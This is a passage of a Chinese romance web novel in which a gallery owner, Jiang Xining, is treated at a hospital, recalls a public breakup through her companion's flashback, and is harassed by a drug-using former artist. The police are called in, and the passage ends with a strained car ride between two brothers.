药水在伤口上的刺挠让江熙宁迟缓了两秒,她摇了摇头。
护士:“不是?”
江熙宁思考两秒,在前男友的兄弟、哥哥的兄弟、大学校友里面选了一个听起来关系最普通的。
“我们是大学校友。”
“现在还在联系的校友?”护士语气中透着些意外,手上的动作没停,“那你们关系肯定很好。”
江熙宁垂眸,思绪微微一顿。她和于付忱的关系远谈不上好,但两次都是他陪着送来医院,换个角度看,确实很容易让人误会。说两人关系不好,估计护士小姐姐也未必信。索性没再解释,只是淡淡一笑。
换完药走出诊室,于付忱扯住她的胳膊。
江熙宁停下脚步看他,“干嘛?”
“走错了。”他抬了抬下巴,示意另一侧的方向,“这边。”
江熙宁方向感虽然不算太好好,但是她分明记得走廊最头上有电梯,可以直接通地下车库。
“我们刚才不是从那里上来的吗?”
于付忱垂眸看了她一眼,似是赞同实则嘲意拉满的说道:“记性不错。”
江熙宁黑线三秒,怎么又提!
“你——”
话没说完,面前的人忽然弯下腰,与她平视。
江熙宁愣了一下,有些莫名。
医院清冷的白炽灯将他的轮廓衬得愈发清晰,眉目分明,凌人而正气。那双眼睛直勾勾地盯着她,既不显轻佻,却又不容忽视,江熙宁心头一紧,不由自主地开始怀疑自己是不是“认错了路”或者产生了“是这条路”的幻觉。
毕竟医院的走廊都长得差不多……
于付忱盯着她,不知想些什么。
片刻后收回目光,低声道:“是眼神不太行。”
“……”
江熙宁懒得和他争辩,一字一句道:“那你带路。”
她索性跟在他后面走。
走了没多远,前面的人停下脚步,江熙宁抬头——
眼科诊室。
“……”
-
“你这个情况是过敏性结膜炎,强光、风、用眼过度、甚至是空调里的灰尘都可能引起过敏,平时一定要注意用眼,避免抗原刺激导致角膜敏感增加。如果想查过敏源,可以等白天来门诊的时候做个筛查。”
医生用各种仪器给江熙宁的眼睛做完检查后,在电脑上打出诊疗单。注意事项那一栏,医生特意用水笔将禁忌项的关键字逐一圈出来:辛辣、刺激、烟、
酒。
……
余光中于付忱单手插兜站在那,目光落在医生圈圈画画的就诊单上,唇角勾起若有似无的笑意。
江熙宁不用看就敢笃定,他听着医生的话心情相当不错。
从检查完眼睛后,这种感觉愈发明显。
而他心情不错的原因自然是,怼她、揪着她喝酒这件事,让他觉得有趣。戳穿她不能喝酒这一点,有这么好笑?
哎,江熙宁想不通。
他平时生活是有多无趣啊!
看着眼前听着医嘱默默叹一口气的人,于付忱不动声色的望着。手机一直有消息和电话进来,但是他没急着接。
医院需要安静,他刚才调整了响铃模式。手机震动时掌心微微发麻,像是睫毛忽闪、蹭过手心时的触感,又像不知何谓突然紊乱的情绪。
他见她哭过两次。
上一次是送她回家那天。那一晚倒春寒,夜里刮着料峭的东北风。
再上一次呢?
太长无人应答的手机,终于停止了响动。
他突然轻笑了一声。
24. 第 24 章
于付忱第一次撞见江熙宁哭,是在李晋许生日那天。
那天也是华盈集团四十周年庆,于向华打算正式对外宣布他集团接班人的重要时刻。
那天下午,他换下贺韫挑选的第十三套晚宴西装后,收到李晋许发来的消息:【今晚我生日,空吗兄弟?一起聚聚。】
于付忱看向贺韫手里拿起的第十四套黑色西装,婉拒道:【抱歉,有事。】
消息回过去两分钟,许终南打来电话。
“李晋许生日也邀请你了?”
“嗯。”
“八成又是想炫耀他那校花女朋友。”
许终南经常说李晋许秀的不是恩爱,而是“校花男友”这个title。因为这是唯一让李晋许以为将于付忱比下去的地方。
开学第一天,学校里入学军训。
可以做六十个引体向上的李晋许,败给了能轻松上百的于付忱,比完后教官还将于付忱的动作作为标准的典范。
第一学期的期末成绩,于付忱和李晋许是并列第一。
大学成绩一半是课堂成绩,一半是期末考试。于付忱几乎不来上课,课堂成绩不及格,因此李晋许偷偷去老师的办公室看了他的试卷,卷面成绩是满分。
能进青大经学院,分为三类人:学霸、学神和天才。李晋许毫无疑问属于“天才”那一类,一路年级第一、拿遍各类竞赛奖项保送青大,在二十年里从未有过对手和挫折。同时,他还集齐了人生赢家的各种顶级“buff”:家境优渥、长相帅气、校篮球队主力前锋……人生顺风顺水、志得意满。
对于同样是天子骄子的李晋许来说,他的骄傲不允许他向下比,更不允许他被比下去。
于是便有了单方面的,不甘示弱的胜负欲和较量。
于付忱起初并不知道李晋许有这心思。说起来两人是在一个宿舍,但其实宿舍自动分成楚汉两界。李晋许和戴阳走的比较近,或者说和学校里的同学们走的比较近,而于付忱和他只是在一个宿舍,仅此而已。
关系有多好没有,说差也不至于。
点头之交,面子上还过的去。
意识到李晋许有心同他暗中较量和攀比,是校草评选那会儿。
有人将偷拍他的照片放到了论坛,他知道后联系发帖人删掉了照片,退出了徒观其表的评选。结果那天李晋许在宿舍里莫名摔坏了手机。
让他们这段关系缓和的,是江熙宁。
那个他在行政走廊里遇见的女孩儿。
大四的九月份,于付忱忙完公司的重组目标回到学校上课,迎面遇上李晋许。不同于以往的“点头即招呼”,李晋许热情冲他打招呼:“阿忱,来学校啦。”
那笑容,在阳光下热烈的刺眼。
李晋许转过头和挽着他的人介绍他:“宁宁,这是我的室友。”
江熙宁朝他的方向礼貌的看了一眼,浓密的睫毛扇了扇笑道:“你好呀。”
继而侧头满心满眼的看着李晋许,亲昵的拉紧他的胳膊,用娇滴滴的一把嗓音说她要去看范梦华的画展,“你要陪我去呀?知道你最好啦~”
于付忱从两人的身旁经过,回到宿舍,他从许终南口中听到这一段全校佳话的前因后果。许终南打趣,“要是当初你不退选,说不定这会儿和校花在一起的人指不定不是他李晋许呢。”
自那之后,李晋许每次组织兄弟聚会,都会随手发来消息。
“阿忱,晚上聚会,有空一起啊?”
起初是私聊,后来干脆将他拉进了一个兄弟群。于付忱屏蔽了那个群,时间久了甚至忘了它的存在。此刻群消息不断跳动,挤上消息栏第一列的位置。他无意间瞥了一眼,手指下意识点进去。
戴阳:【你生日不是下周?】
李晋许:【下周是阳历,今年想过阴历的。】
戴阳:【草,你他妈是不是想收女朋友两份生日礼物?】
王昊:【啧,校花送你什么生日礼物啊,不会是全垒打一次吧。坏笑.jpg】
刘斌:【说吧,这次需要我们怎么助攻?”】
贾奇:【怎么,国庆去聚餐那会儿,兄弟们没给李晋许助攻啊?”】
董有成:【我们助攻有什么用,这不是男主角自己酒量差喝醉了。】
李晋许在群里回复:【阿忱酒量好。】
过了会儿,李晋许私回消息给于付忱,这次连装都不装了:【怎么,这次不来英雄救美了?】
群里说的是国庆假期那次。那天于付忱参加一场在江船上举行的私人高端拍卖会。结束后意外在江边遇见了李晋许和戴阳他们几个,众人羡慕和打趣李晋许有校花女友挡酒。
李晋许笑的矜傲和得意:“宁宁只是太担心我。”
众人纷纷直呼他虐狗,戴阳意味深长的推了把李晋许,笑的淫味十足:“看来今晚宿舍只有我一个人睡咯。”
众人立刻意会哄笑。
不远处的天幕帐篷下,江熙宁酒意迷蒙,端坐于安静的角落闭眼酣睡。江风吹动她的温柔的发丝、卷翘的睫毛和明珠般的睡颜。
于付忱本可以在所有人都没注意到他时迈步走开,不管闲事。但因为这片刻的游移,李晋许发现了他,“阿忱,来和兄弟们喝酒啊。”
夜风卷着江边湿冷的气息,将人群中弥漫的酒意搅散又拉拢。李晋许在众人前滔滔不绝地向众人讲述他与江熙宁恋爱点滴的种种细节,
她喜欢拉着他的手撒娇
她的消息必须秒回,不然会生气。
她不爱吃鱼,吃鱼只吃他挑完刺的。
她最喜欢看乌云里的太阳,
她说,最喜欢我在球场上说,“把球抢回来的时候。”
……
酒瓶空了又换,满了又空。
最后清醒的人只剩下他和李晋许。
李晋许唇边的笑意和醉意一般深,他晃着脑袋凑过来,不似清醒时小心敛藏的试探,而是挑衅般:“阿忱怎么都不说话,心情不好?”
于付忱手撑在两条腿上,脚边摆满了空掉的易拉罐。
他眸色似点漆,沉默着喝完最后一口酒。
“她不适合你。”
配不上她。
这想法他从未变过,也从不隐藏。
李晋许显然没料到于付忱会这么直截了当地说出口,笑容僵在了脸上。短暂的沉默后,他忽然肩膀一耸,捂着额头低声笑起来,笑意一点点加深,甚至带上了几分夸张的意味。
笑了好一会儿,他才伸手拍了拍于付忱的肩,抬眉反问:“是吗,怎么不合适?说来听听。”
“她很娇气。”
于付忱手中的易拉罐已经空了,他随手一捏,发出金属的脆响。娇贵的明珠,应该被捧在手心
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里,珍藏起来。而不是像一件精致的装饰品,成为某人志得意满的点缀。
他扯下肩上那双白皙的、稚嫩的、养尊处优的手。
捧住她的,应该是一双有担当的手,而不是一张只会吹嘘的嘴。
-
生日宴上,群里的人几乎都来全了。最后十多人的包厢挤不下,换成了二十几人的超大包。还是坐不下,又将包厢的移动隔断打开,两个包厢打通才勉强挤下。
江熙宁是在聚餐到一半的时候推门进入的,带着一丝室外空气的清冷。她没关包厢的门,选了门口的位置坐下,充斥着烟味与油气的包厢因此清新片刻。
李晋许破天荒的没有秀恩爱,而是当着所有人的面和江熙宁提了分手。
江熙宁听完李晋许的分手宣言,像是松了一口气似的点头。
“说完了?”
所有的人目光都落向她,她笑了笑,“那我可以走了?”
也没等李晋许开口,她便起身往外走。
李晋许的面色紧绷,下一秒,他突然拍了拍于付忱的肩,用不小的声音说:“阿忱,你当初说我们不合适,你说的对。”
已经离开的人,脚步一顿。
看着江熙宁走远的背影,于付忱忽然笑了声,原来这就是李晋许激他来的原因。
他从座位里起身:“抱歉,先走了。”
其他人酒意正兴,看到于付忱手机一直在响,猜他有急事便没多留人,只是惋惜的说下次兄弟聚会务必来。
他往外走。
那晚是青城入冬以来的最低温,风大如刀,泼水成冰。
在公交车站,他看到了在寒风中等车的江熙宁,凉薄的路灯照在她纤细的身上,隐忍泛红的眼底全是对他的防备之意。
这个世界上有成千上万的人,李晋许不过是大多数男人中的一个。为这样的人,不值。
“男人大多数,不喜欢娇气的。”这是他对李晋许的理解,也是对他的评价。
她抬头,望向他的眼神有错愕、有不解,还有一丝不虞。
“那正好,大多数的男人我也不喜欢。”
冷风扑面,她的话说得很凶,眼泪却更凶。那一刻,于付忱想起于天文的追女孩箴言——“女孩子喜欢说反话:说不要就是要,说不喜欢就是喜欢。”
所以,她此刻说的是违心话吧?嘴巴或许会骗人,但眼泪不会。她喜欢他,为此伤心难过。
于付忱取出在掌心熨热的纸巾,递过去:“如果你真心喜欢,不该……恃靓而娇。”
江熙宁视线上挑,和他直直对视,眼底是被泪水洗涤后的清明和冷静。
她说:“那我还是美的令人发纸。”
娇矜的语气,像一只被踩了尾巴的小野猫,然后毫不犹豫的摔上车门走人。
并不以此为错,且坚决不改。
她喜欢李晋许到了如此的地步?
于付忱看着她愤怒离去的背影,那一刻有些话从心底涌上来,但是似乎又被什么东西阻塞了,最后只有两个字飞迸而出。
“再见,”
再见。
在哪见。
似乎也不会再见了。
直到,她拨通了他的电话。
“于付忱”她开口。
一如那天晚上的娇矜的语气。
“等你空了,来画廊一趟。”
25. 第25章【二修】
江熙宁拿着医生开好的诊疗单走出诊室。于付忱背靠走廊的白墙,脸上恢复了惯常的人机感表情,仿佛刚才笑她只是的错觉。
见她出来,于付忱:“好了?”
“嗯。”江熙宁扬了扬手中的药单:“我去拿药。”
药房在大门进门的右侧,穿过走廊尽头再左转,走到底即是。
夜里急诊人又多,路过输液室门口时,里面的医生和护士鱼贯出来,穿在两人中间隔开了两人,江熙宁落在了后面。
于付忱腿长,没一会儿便没了人影。
“患者看起来不像是简单的醉酒。”
“先输液醒酒,这期间你注意多观察。”
医生仔细嘱咐着护士,江熙宁跟在后面被动听了一嘴。这时,输液室里传出来了个男声,含糊而又浑浊。她顺势向输液室看去。
这个季节是流感高发季,来打点滴的人不少,输液室里有病患也有陪同的家属,座无虚席。
刚才听见的声音这会儿隐藏在此起彼伏的咳嗽声和人声之中再没了响动。
江熙宁收回视线。前面的医生护士左拐进了对面的诊室,抬头,对上一双探究的眉眼。
“怎么不走?”
于付忱走过拐角察觉她没跟上,又走了回来。他看着江熙宁,目光落在一双刚哭过的眸子上。
水泠泠的,残红未消。
江熙宁被他这眼神看的发怵,莫名感觉他下一秒就要问出“你是来医院逛街吗”这种鬼话。
这时,坐在诊室门口椅子上等叫号的阿姨,突然热心肠地插了一句:“小伙子,这就是你的不对了。”
江熙宁眉心一抽,扭头看向仗义执言的阿姨。
阿姨看上去五十岁出头的光景,黑白的头发仔细的梳理在脑后,一双清亮有神的眼睛看了看两人,声音洪亮的说:“带女朋友来看病,要耐心一点的呀。”
“……”
于付忱风评,又双叒叕被害。
不少人因为阿姨的话,朝他们这边看过来。
江熙宁脑海里浮现乔西娅说的那句他损失巨大,清汤寡水又无趣的人生因她被造谣的风生水起。
出于莫名涌上来的歉疚,江熙宁指着就诊单替他解释:“阿姨,是我眼睛不舒服,看不太清才走的慢了点。”
“而且——”
她正要继续往下说,于付忱打断她的话问:“看不清?”
江熙宁没反应过来,下意识点头。
是啊。
她这不是试图挽回他的清誉么。
手里的就诊单突然被人抽走,随后她的手腕被人牵住。
不属于她的温度从肌肤上传来。
于付忱收紧掌心,扣紧,
“跟着我。”
-
到了等待区,于付忱松开手。
“坐在这里等我。”
似是哄人,又像是不耐的警告。
江熙宁知道这人习惯效率,嫌她事多,乖乖应声。
就诊的人大多聚集在诊室附近的休息区,这里离诊室比较远,反而没什么人,而且背着所有的风口。
江熙宁选了处柱子后的位子,安全感满满。
药房估计人不少,等了许久也不见于付忱回来,也可能是她遵从医嘱没玩手机,所以时间都觉得走的慢了些。
她视线漫无目的游移。
就在这几分钟里,江熙宁看到好几个因酒来就诊的患者。
一个是光膀子的刺青男,在酒局上喝晕被朋友送来洗胃。一个大学生酒后骑车摔破相。
还有因为酒精过敏满脸红疹的……
江熙宁以为今天出门,黄历的提示指南写的应该是——不宜喝酒。
等了会儿,江熙宁觉得有点无聊,还是没忍住低头刷起手机。才解锁屏幕,突然一片阴影笼罩了她的头顶。
随之而来的是一股刺鼻的气息——混杂着酒精的浓烈酒味、刺鼻的血腥气和腐叶的辛辣发酵味。
江熙宁抬头,恰好与那双阴沉的眼睛对视。顶上的光线被丁呈挡住大半,那双眼睛在逆光下闪烁着昏暗和危险的光芒。
她呼吸一顿。
“这不是,江画廊主。”丁呈咧嘴一笑,露出一口灰白的牙。他的脸上破了皮,颧骨也带了伤。声音沙哑、浑浊中夹杂着一丝不易察觉的兴奋。
“我就说,看着像你。”
“这。”丁呈躬身指了指自己脸上的伤,狞声道:“拜你所赐。”
距离逼近,江熙宁感觉酒气喷在她脸上,难闻的味道令人作呕。她想要起身时,却被丁呈一手按回椅子上。
他的身体不稳,做完这个动作后摇晃了几下,随即双手分别撑在她身后的椅背和扶手上。
将她圈在椅子里。
江熙宁尽量将身体往后靠,冷冷地看着他。
这里是医院,他不敢在公共场所做出什么出格的事情,但还是忍不住觉得恶心,皮肤上起了一层鸡皮疙瘩。
“和我什么关系?”
丁呈这两年在背地里做出不少坑人事不少,断人财路,犹如杀人老母。走夜路被人套麻袋打一顿江熙宁觉得都是他该的。
“被你的狗咬了。”丁呈咧嘴一笑,眼里却闪烁着某种兴奋。
江熙宁冷嗤:“哦,你在路上被狗咬了想赖我要医药费?”
“我开的是画廊,不是保险公司。”
丁呈似不受控的晃了晃头,
“不要你赔”他的话语变得更加飘忽不定,带着一种虚浮的疯狂感,“想和江画廊主再做笔交易而已。”
罔顾行业规矩,还想和她合作。江熙宁懒得同他废口舌。
他又重复:“你的狗在我工作室门口蹲了好几天,今天还把我打成这样,江画廊主这可都是因为你。”
江熙宁察觉出丁呈状态的怪异,他的目光时聚时散,脸颊的肌肉隐隐抽动,有很多不受控的动作。
她下意识想起护士的那句,“不像醉酒。”
丁呈为了赚钱,不停地创作和出售画作。然而,快节奏的创作让他缺乏沉淀的时间,灵感源源不断地消耗着。他迫切需要不断涌现的新灵感。江熙宁的脑海里突然浮现出一个可能:一些创作者会通过一种方式让精神处于兴奋状态,激发灵感的涌现。
那就是违禁品。
江熙宁:“我找人打你了,那你报警抓我吧。”
丁呈却摇摇头。
江熙宁继续激他:“教唆打人可不是小事,就这么放过我了?”
丁呈不接她的话,目光却移向她的手臂,纤细的手臂上缠着白色的绷带。他摇摇头,眼底露出一抹瘆人的光。
自从上次在画廊回去,他一闭上眼,就能浮现出一截白腻的手臂,鲜明的血痕交织着凌乱与美感。这一幕引发了他灵感的井喷,还
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有什么比被摧毁的美丽更有诱惑。
精致的玫瑰,生长只为最终被割下的头颅。
毁灭的美,才是最浪漫的。
丁呈带着痴迷和疯狂,伸手拽江熙宁的手臂。
“让我看看,我的作品。”
“再看一眼!”
他呢喃,眼中闪烁着某种病态的渴望。
江熙宁无处可躲,正要喊人时,来抓她的手以一种反关节的弧度狠狠向后折去。
下一刻,笼罩罩在她头顶的阴影被扯开。
于付忱单手抓着丁呈的手腕,他动作迅猛又干脆,丁呈疼的龇牙咧嘴,身体被迫后仰,像一把反弓般被拉开。
“你朋友?”于付忱眼中带着一丝戾气。
沉列的香气驱散了四周的浊气,此刻有种安定的力量,江熙宁紧绷的脊背一松。
她摇摇头:“我没有这样的朋友。”
“江画廊主,怎么还装不认——”
话没说完,于付忱手一松,将丁呈像甩垃圾一样扔开。
他的动作迅猛又干脆,丁呈后退好几步,后背撞在柱子上。
“你认识?”于付忱嫌恶的扫他一眼,看穿衣打扮,应该是艺术圈的,而且江熙宁对他明显是厌恶情绪。
“画廊之前合作的一名艺术家。”
沉默须臾,江熙宁决定如实相告:“那张照片也是他发到网上去的。”
手臂和背脊的疼痛让丁呈清醒几分,他认出眼前的人,远比照片上气场更盛。
不动声色却散发着令人不寒而栗的威慑力。
丁呈不敢再挑衅:“是、是你弟。”
没等他继续说完,他的衣领被人一把揪住,还没等他说完,衣领突然被人一把揪住,强硬地一拉,另一个身影冲了过来。
“我让你发的?我让你去找宁宁麻烦的?”
于天文突然出现,江熙宁诧异片刻,不过也只有一瞬。丁呈刚才说“拜她所赐”时她已经猜到了和他有关。
“还给我装晕?”于天文上手又是一拳。
丁呈被他一拳击中,好不容易站稳又摔在地上。
很快引来周围人围观。
“闹什么!”于付忱转过头,眼神凌厉:“脸怎么回事?”
于天文的半边脸上沾满红色的颜料,额角缝了五针。他指着丁呈,语气带着一丝愤怒和得意:“他去画廊伤了宁宁,我痛揍他的时候不小心弄的!”
在江熙宁面前,于天文没说这伤其实是在画廊不小心踩到画笔,摔了个狗吃屎在画架上磕的。
闻言于付忱沉默片刻,目光冰冷得几乎能冻结空气。
丁呈见状立刻反咬:“好一个卸磨杀驴,让你哥退不了画的主意不是你出的?”
于天文哑然,顿了顿,却又难以辩解。
“哥,我……我……”
于付忱像没听见,语气冷淡地打断:“你伤的?”
于天文看着为他出头,即使自己坑了他此刻仍然替他出头的哥哥,眼中闪过一丝感动。
他哥心里还是在乎他的,不然就算他用舆论也未必有用。他哥想要压制舆论,有千万种方法。
想到这,于天文一声哥哥喊的真挚又情感充沛。
哥。
你是我唯一的哥。
下一秒,于付忱的话却犹如一盆冷水泼下来。
“留着和警察说吧。”
26. 第 26 章
于天文犯愁的时候,习惯将自己额前的头发往后捋。这会儿他伸手摸了一把额头。
嘶——缝针的地方麻药过了时效,痛觉姗姗来迟,伴随着的是额头处的肿胀感。
他哥看到他伤的这么惨烈,关心则乱了?
哥哥呀,于天文试图朝于付忱递过去一个暗示的眼神,他是主动挑事的一方,寻衅滋事、斗殴打架那可是会被拘留的!
但于付忱看都没朝他的方向看一眼。
一听到“报警”,丁呈明显慌了,残存的迷幻让他躁动不安。他趁于付忱拿出手机的间隙,挥着双虚浮的腿打算跑。还没迈出两步,就被一只有力的手扯了一把,重重摔进了椅子,连挣扎的力气都消失了。
丁呈软在椅子里,嘴却依旧硬气:“你们以多欺少,我喊人了!”
于付忱居高临下的站着,冰冷的目光在他凹陷的两颊和灰白的脸色停留片刻,平静的吐出两个字。
“随意。”
完全没有要阻拦的意思。
丁呈哑然。刚才那一嗓子,引来不少目光朝这边探过来。有医护人员看见出声吼道:“这里是医院,别影响其他病人,再吵报警了!”
当护士说“报警”两个字时,于付忱在丁呈的脸上再度看到了心虚,色厉内荏的伪装再度垮塌。
“那张照片是我发的没错。但我也被你弟弟打到医院里来了,这不也算给你出气了?”丁呈嘴角隐隐抽动:“你还想怎么样?”
这次的舆论事件,丁呈是推手之一。江熙宁也在这时看向于付忱,她也想知道他会怎么处理这件事。
相比于理亏但暴躁的丁呈,于付忱始终淡淡的,像他身上那股香一样神秘、沉稳、泠冽。
越是平静的湖面越危险。
于付忱说:“帐这么算的?你说出气就出气了?”
丁呈愕然。
良久。
“……那怎么才算……”
于付忱的视线朝江熙宁看过来:“她说出气了才算。”
江熙宁始料未及,这是把主动权递到她手里。也是,丁呈是她合作的画家,而且还伤了他弟弟,他想要看她的态度也无法可厚非。
于天文这时也反应过来:“宁宁的手伤没那么容易和你算了!”
丁呈急切的想和解,搬出了一个江熙宁不可能会拒绝的条件。
“江画廊主不是一直想办你母亲的个展吗?我听说,梁媛最得意的《春有信》已经被卖了。我可以帮你打听到买这幅画的藏家,算是对我之前冒犯你的补偿。咱们这事儿就算过去了,怎么样?”
当初梁媛去世,引发了一轮媒体的关注,让她的画家身份和作品也被更多人知晓,《春有信》是最先被梁耀卖掉的。这幅作品后来没再进入过二级市场,不知去向。
兴许已经被毁,兴许仍被某位藏家珍藏着。
如果能够知道藏家的信息,哪怕不愿意出手,至少可以尝试洽谈,借到画廊展览。
“倒是让人心动的提议。”江熙宁笑,“可惜,不用了。”
于付忱看着脸上扬笑的人,垂眸收回视线时,却看见她背在身后,紧紧攥着的手。
玫瑰色的甲床,因为用力而失去血色。
丁呈没想到江熙宁会拒绝。他以为,这对于她来说是不可拒绝的。
“你不信我?”
“曾经信过。”江熙宁松开手:“这份信任还是你自己毁了的,你忘记了?我们之间不会再有任何交易。”
况且,和他这种瘾君子交易,怎么对得起万千缉毒警。
江熙宁想也没想报了警。
-
在民警询问的过程中,江熙宁知道了于天文和丁呈打架的具体经过。
于天文听说丁呈去画廊闹事,当即冲去了丁呈的画室堵人。但丁呈的作息一向阴间,几次都没找到人,于天文今天守了一天才终于在画室门口撞见了他。彼时丁呈整个人处于精神萎靡和恍惚状态,他身材本来也瘦小,在常年健身的于天文面前,完全没有反抗之力。没挨几拳,他就软倒在地,于天文七魂吓飞六魂半,赶紧把人送来医院。到了医院,医生排除是外伤导致的昏迷,因为丁呈身上有酒气,初步判定是醉酒,于是先给他输液醒酒,想等他醒了再说。
“警察同志,他就是装晕,看我去找医生处理额头的伤口趁机跑走了。”于天文为自己辩解。
民警看了看于天文的额头:“是他打伤的你吗?”
丁呈立马否认:“警察同志,他脑袋是自己磕的!”
民警看他一眼:“问你了吗?你的问题一会儿再说。”
丁呈闭了嘴。
于天文挠了挠头,偷偷瞥了眼江熙宁,在警察面前也不敢撒谎,实话实说道:“是在画室里摔了一跤。”
“确定是自己摔的?”
于天文尴尬地点了点头。丁呈的画室满地都是废弃画纸和没有清洗的颜料笔。这一摔于天文还近距离看到画纸上瘆人的内容,让他在大晚上吓一背的白毛汗。
“警察同志,这种人多半是心理变态,他画的是——”
说话间,于天文的目光扫过江熙宁垂下的手臂,突然止住了声。
“草!!”
江熙宁摸着自己的手臂,从于天文的反应她已经猜出了丁呈大概画了些什么。难怪丁呈刚才一直抓她的手。
于付忱也在此刻抬头,看向于天文:“说什么脏话。”他掐灭屏幕继而郑重提醒:“给我好好交代。”
于天文领悟到了他哥的意思,把在画室里看到的画作内容讲述一番,连带着提到之前丁呈伤人的事情。民警听完后转过身问起江熙宁和丁呈之间的关系。
江熙宁如实的把丁呈打伤自己的事情,和民警说了一遍。
轮到询问丁呈时,经验老道、眼光毒辣的民警,开口的第一个问题:“吸了?”
丁呈彻底说不出话了。
事情的前因后果已经清晰,按照两人的伤情来看,于天文有主观伤人的故意,但考虑到初犯,而且情节不严重。最终口头教育了一番并处以罚款,便让他们走了。
而丁呈被带回去做尿检。
-
民警走后,于天文终于忍不住骂出声,“我就应该把这变态手打断。”
面对于天文满怀愧疚的眼神、肿成寿星额的眉头,和丝毫没有悔改的态度,江熙宁第一时间是去看旁边的于付忱。
她无法从一张冰山脸上分辨喜怒,但看这神情实在说不上好。
能好才怪。
江熙宁想。于付忱试图让他弟离她远一点,现在好了,于天文因为她整这副惨样,鼻青脸肿还差点进去吃牢饭。
她说:“法治社会,慎重!”
于天文低落:“宁宁,我没想到丁呈会去找你,我知道错了,你别不理我……好不好?”
道歉有用的话,还要警察做什么呢。
江熙宁轻拧眉尖:“我不理你,不是因为丁呈。”
于天文愣了一下。
于付忱也朝她这边看来,像是示意她继续说下去。
但于天文不接茬,甚至假装听不懂这话,温和的磨她耐心:“宁宁,今天太晚了,让我送你回去好吗?”
江熙宁暗叹一口气,这会儿已经到了她该睡觉的点,这一晚上遇到的事情能抵得上一个星期的。
人麻了、困了。
疲惫蔓延到每根神经。
她在速战速决和明日再说清楚,选择了在于付忱的车上速战速决。
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>有他在场,这场近乎摊牌的对话应该可以冷静又顺利的进行。
于付忱默契的接收到她眼底的意图,点头,“走吧。”
于天文有些郁闷,他哥在,他有很多想和江熙宁说的话都说不出口。而且他有预感,江熙宁也有话想和他说。
如果说一开始,于天文喜欢江熙宁是因为派对上她的美貌让同性黯然失色,让异性一眼沦陷的话。那现在他对江熙宁的喜欢已经过了过了皮囊的阶段。
江熙宁有很多面。
她看似娇气,却与衣佳惠那种嗲柔截然不同。她理性、独立、洒脱。
金钱无法讨她欢心。
丁呈用亲情做筹码,她也毫不犹豫地拒绝,甚至干脆利落地报警。
不受讨好,不受诱惑,不受束缚。
她像是真正将自己的人生活出了绝对自由。
当然,最重要的一点。因为江熙宁,于天文第一次赢过他无所不能的哥哥。
从小到大,他哥比他聪明,比他稳重,比他讨爷爷的喜欢。虽然于天文从不觉得获得他爷爷的喜欢是什么好事,那只意味着有更严苛的规矩,更变态的要求。但很明显,不受爷爷的青睐,也就意味着他在家里永远得不到应有的尊重,甚至连说“不”的机会都没有。
但这一次,他拒绝了。
虽然从头至尾,事做的不漂亮不光彩,但终归是赢了。
这种感觉简直爽爆了。
于天文以为这功劳得归江熙宁。
车上因为多了一个人的存在而静默。
于天文打开音响缓解这气氛。
收回手时,看到了他哥放在车上的一袋眼药水。
于天文后知后觉的察觉到一个问题。他哥是陪江熙宁来医院这件事。
为什么他哥,大晚上的陪江熙宁来医院?
————“比你认识早多了。”
一首英文歌,磁性低沉的嗓音开嗓便是:
“Youaretheonlyone”
“Myone”
“Andonlyone”
江熙宁:“……”
于付忱的那句“你是我的唯一解”,伴随着歌词不合时宜、不那么恰如其分的硬挤进江熙宁的脑海里。
愁绪卷土重来。
她用带着困意侵袭的脑子,打了几遍腹稿,刚想开口,听于天文说:“宁宁,你和我哥怎么会在医院。”
那天在江熙宁家遇到他哥,于天文有好奇他们两人是什么时候认识的,怎么认识的,关系如何。但他当时沉浸在江熙宁因他受伤的愤懑中,只当他哥是因为处理他的画才去找的江熙宁。
但这是第二次看见他哥和江熙宁在一起,这让于天文意识到两人的关系似乎比他想的更好。
闻言,江熙宁从后视镜中看向于付忱,而他也恰好在看她。
江熙宁说:“我和你哥是校友。”
于天文故作诧异:“哥,你怎么从没提过。”
于付忱反问:“我需要和你汇报?”
于天文不死心又问:“所以哥你当初来宁城,是特意为了宁宁?”
不然他哥,怎么这么快就来宁城了,有鬼!
他哥为了区区几千万,亲自跑来,有鬼!
他哥非逼着他回去,还是有鬼!
江熙宁有被两兄弟莫名其妙的火药味呛到,她都没开始说那些伤人的话题,怎么兄弟两先吵起来了。
吵就吵吧,拉上我作甚。
还有,什么叫特意打的电话,分明只是个乌龙电话。
就是,很凑巧!
……
“没有特意。”江熙宁直了直身体:“你忘了,你当初用的绰号和你哥是同一个名字。”
27. 第 27 章【修,补800字剧情】
于天文眼睛一亮,反应过来:“那天你是想打我的电话,结果错打给我哥了?”
江熙宁对他的中译中没否认,偏头避开从后视镜中飘来的目光。
发动机低沉的轰鸣声散在夜色里,轮胎在粗粝的地面上摩擦,距离前方不到二十米的路口,信号灯倒数三秒。
3、2、1。
黄灯闪烁。
车子在停止线前骤停,像是追赶猎物的野兽遇到拦路的荆棘丛。江熙宁没有防备,强大的惯性产生压迫感,像心脏被人捏了一下。
黄灯跳红。
于付忱的眼尾、耳尖皆渡上一抹猩红,他挂了空档,往后一靠,问:“同一个?”
“……”
于天文接过话茬,解释绰号是在派对游戏时取着玩的,于付忱全程没应声,场面静默。
于天文知道这事儿做的不地道,说了两句也没再继续。
江熙宁有打算借着这个话题一笔带过当初的乌龙电话,可是并不想扯开这个话题。车突然停下来,便有了种继续深入的诡异感。
她扯回正题道:“我那天联系你是想让你来画廊退画。但我那时已经拉黑你了。”
于天文的笑容消失,“我知道,是我的问题。我没来得及和衣家惠说清楚让你误会了宁宁。”
江熙宁:“这不是重点。”
于天文:“这就是重点!”
这是要打辩论赛吗?冷处理不行,直面沟通也这么费劲?江熙宁带着困意的脑子有点烦躁。
“理论上来说,你浪费自己的时间做任何事都是你的权利。你花自己的钱买东西,也是你的自由。”
不对,他花的不是自己的。
于天文难受。管不着、浪费,尽是些扎心的词。“宁宁,我想给你惊喜,我想你开心。哪个女孩子不喜欢男生倾尽所有制造的浪漫呢?”
红灯结束,路灯亮起。
于付忱重新启动车,隔着后视镜,看向江熙宁,她的嘴型很漂亮,像蜜露般莹润的唇,一张一合像盛放的红玫瑰。
“在我看来,并不开心,也不觉得浪漫。”江熙宁说,“你买这些画,不是因为兴趣,也不是因为喜欢,甚至没有‘需要’的理由。只让我觉得,你根本不尊重我的工作。”
“你挑的画那么好,我怎么可能不喜欢?喜欢你,也喜欢你挑的画,怎么就变成了不是为了画呢?”
江熙宁闭了闭眼。
好累了,想闭麦。
可是……江熙宁转念想到最近于付忱帮她,不都是为了他这宝贝兄弟吗……
她深深的吸一口气,再吸一口。
一定是她话术的开场白不对,重来!
这次,江熙宁直接搬出结论:“我的画廊,买画不赠老板!”
